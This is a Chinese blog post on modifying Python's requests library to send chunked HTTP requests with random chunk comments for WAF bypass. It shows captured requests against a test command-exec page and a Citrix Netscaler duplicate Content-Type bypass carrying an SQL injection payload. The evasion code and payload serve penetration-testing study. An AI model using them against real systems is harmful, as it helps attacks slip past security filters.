博客 / 詳情

返回

requests實現帶註釋的分塊傳輸

前言

最近有WAF bypass的需求，學習了下分塊傳輸的方法，網上也有burp插件，需要使用python實現一下，在使用requests實現時遇到了一些坑，記錄下。

requests塊編碼請求

https://docs.python-requests....

請求參數data提供一個生成器即可

首次引入分塊傳輸：

https://github.com/psf/reques...

使用burp代理分塊傳輸不生效

為了可以準確的看到代碼是否生效，我給requests配上了burp代理，但是在看burp捕獲的報文中發現分塊傳輸並未生效

結論

並不是使用了burp代理後requests分塊傳輸不生效，而是分塊傳輸發生在Client與代理Server之間，burp請求轉發並沒有使用分塊傳輸，所以在burp上的抓包情況看沒有使用分塊傳輸。

抓包驗證

  • 本地抓包 (Client與代理Server)

    POST http://xxcdd.for.test.com/vulnerabilities/exec/ HTTP/1.1
Host: xxcdd.for.test.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67
Transfer-Encoding: chunked

2
ip
3
=12
1
7
3
.0.
3
0.1
1
&
1
S
2
ub
3
mit
3
=Su
2
bm
2
it
0

HTTP/1.1 200 OK
Date: Sat, 08 May 2021 08:31:10 GMT
Server: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.3.7 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/7.3.7
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4489
Connection: close
Content-Type: text/html;charset=utf-8

<!DOCTYPE html>

  • burp請求轉發

    POST /vulnerabilities/exec/ HTTP/1.1
Host: xxcdd.for.test.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67
Content-Length: 26

ip=127.0.0.1&Submit=SubmitHTTP/1.1 200 OK
Date: Sat, 08 May 2021 08:34:44 GMT
Server: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.3.7 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/7.3.7
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4489
Connection: close
Content-Type: text/html;charset=utf-8

<!DOCTYPE html>

Debug requests的分塊傳輸過程

確定斷點

requests源代碼全局搜索chunked，確定斷點

requests/models.py      PreparedRequest.prepare_body
requests/sessions.py    Session.get_adapter
requests/adapters.py    HTTPAdapter.send

逐個分析

requests/models.py PreparedRequest.prepare_body

該方法中自動在請求頭中增加 Transfer-Encoding: chunked，有兩個條件：

  1. is_stream=True
is_stream = all([
            hasattr(data, '__iter__'),
            not isinstance(data, (basestring, list, tuple, Mapping))
        ])

問題：not isinstance(data, (basestring, list, tuple, Mapping))是何意

  1. 請求體有長度
def prepare_body(self, data, files, json=None):
    ...
    is_stream = all([
            hasattr(data, '__iter__'),
            not isinstance(data, (basestring, list, tuple, Mapping))
        ])
     try:
         length = super_len(data)
     except (TypeError, AttributeError, UnsupportedOperation):
         length = None
     if is_stream:
         ...
         if length:
             self.headers['Content-Length'] = builtin_str(length)
         else:
             self.headers['Transfer-Encoding'] = 'chunked'
     else:
         ...

requests/sessions.py Session.get_adapter

    def get_adapter(self, url):
        """
        Returns the appropriate connection adapter for the given URL.

        :rtype: requests.adapters.BaseAdapter
        """
        for (prefix, adapter) in self.adapters.items():

            if url.lower().startswith(prefix.lower()):
                return adapter

        # Nothing matches :-/
        raise InvalidSchema("No connection adapters were found for '%s'" % url)

獲取處理URL的adapter，adapter在Session類的域adapters中

Session生成器中：
# Default connection adapters.
self.adapters = OrderedDict()
self.mount('https://', HTTPAdapter())
self.mount('http://', HTTPAdapter())

打印出相關：
>>> print self.adapters
OrderedDict([('https://', <requests.adapters.HTTPAdapter object at 0x000000000490C3C8>), ('http://', <requests.adapters.HTTPAdapter object at 0x000000000490C7B8>)])

獲取到了adapter，則調用其send方法，來到下一個斷點

requests/adapters.py HTTPAdapter.send

發送 PreparedRequest object. 返回 Response object

chunked = not (request.body is None or 'Content-Length' in request.headers)

if not chunked:
    正常發包
else:
    分塊傳輸
    建立TCP連接
    發送請求頭
    發送分塊傳輸的請求體
    for i in request.body:
        low_conn.send(hex(len(i))[2:].encode('utf-8'))
        low_conn.send(b'\r\n')
        low_conn.send(i)
        low_conn.send(b'\r\n')
    low_conn.send(b'0\r\n\r\n')
    接收響應內容

找到了發送分塊傳輸的請求體的代碼後，我們就可以開始魔改了

魔改 requests符合自己的需求

需求

可以發送帶註釋的分塊傳輸

原始的分塊傳輸是：

POST http://xxcdd.for.test.com/vulnerabilities/exec/ HTTP/1.1
Host: xxcdd.for.test.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67
Transfer-Encoding: chunked

2
ip
3
=12
1
7
3
.0.
3
0.1
1
&
1
S
2
ub
3
mit
3
=Su
2
bm
2
it
0

繞WAF期望的分塊傳輸是：

POST /vulnerabilities/exec/ HTTP/1.1
Host: xxcdd.for.test.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Cookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67
Content-Length: 269
Transfer-Encoding: chunked

3;9HMbo4HFtRCJQwAJW57tz0
ip=
3;70ixfv
127
2;ouCHr3
.0
2;ZXjKnAt0
.0
2;FcpKzNTK
.1
2;JWf1je
&S
2;aiV0XrBKQFLb
ub
2;S61NU
mi
1;MHr680eEyUqR6
t
1;OWOo9
=
1;AxsgGW9aizzJd5IRtJHGuRHPH
S
1;xb9ktTyWrAbhV2OkE
u
3;mtBp1OEKySwUhyyh
bmi
1;0CzTD
t
0

重寫相關代碼

在requests/sessions.py Session.get_adapter中我們看到默認的adapter是HTTPAdapter，要想達到期望，就要對發送分塊傳輸的請求體的部分進行重寫

class ChunkedHTTPAdapter(HTTPAdapter):
    def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None):
        ...
        for i in request.body:
        #     low_conn.send(hex(len(i))[2:].encode('utf-8'))
        #     low_conn.send(b'\r\n')
            low_conn.send(i)
        #     low_conn.send(b'\r\n')
        # low_conn.send(b'0\r\n\r\n')
        ...

傳入的request.body為iterator，內容是構造好的帶註釋的分塊傳輸內容，相當於不讓requests構造分塊傳輸請求體，我們提前構造好傳入，ChunkedHTTPAdapter只管發送就好。

mount

關於adapter的mount，註釋中給了示例：

Usage::
          >>> import requests
          >>> s = requests.Session()
          >>> a = requests.adapters.HTTPAdapter(max_retries=3)
          >>> s.mount('http://', a)

結合上面的分析Session生成器中的處理最終為：

    s = requests.Session()
    a = ChunkedHTTPAdapter(max_retries=3)
    s.mount('http://', a)
    s.mount('https://', a)
    response = s.post(burp0_url, cookies=burp0_cookies, headers=burp0_headers, data=iter(list_chunked),
                             verify=False)

再度魔改

將分塊傳輸和正常的請求邏輯整合為統一的代碼，以便於其他魔改

class HTTPAdapter(BaseAdapter):
    def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None):
        ...
        if hasattr(request.body, '__iter__'):
            # 分塊傳輸
            for i in request.body:
                low_conn.send(i)
        else:
            # 非分塊傳輸
            low_conn.send(request.body)

又有個需求：Citrix Netscaler NS10.5 - WAF Bypass (Via HTTP Header Pollution)

要求為：

First request: ‘ union select current_user,2# - Netscaler blocks it.

Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.

Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.

請求報文大概類似：

POST /test HTTP/1.1
Host: xxcdd.for.test.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)
Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3
Content-Type: application/octet-stream
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
          <string>’ union select current_user, 2#</string> 
     
    </soapenv:Body>
</soapenv:Envelope>

需要發送兩個Content-Type請求頭，再次魔改：

class HTTPAdapter(BaseAdapter):
    def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None):
        ...
        try:
            low_conn.putrequest(request.method,
                                url,
                                skip_accept_encoding=True)
            for header, value in request.headers.items():
                # 這裏當header == "Content-Type" 時，執行low_conn.putheader("Content-Type", "application/octet-stream")
                low_conn.putheader(header, value)

後記

雖然上述的需求通過socket編程發送http請求也可以滿足，但是在一個滲透項目的設計中，http的處理應該儘可能做到統一輸入輸出，統一使用requests庫去處理http請求會使得總體設計更加簡潔和有序。經過這次的折騰讓我對requests庫的源代碼更加熟悉了，相信下次再遇到奇怪的http請求需求，魔改起來更加得心應手。

滲透測試 , waf , requests
user avatar
0 位用戶收藏了這個故事！

發佈 評論

Some HTML is okay.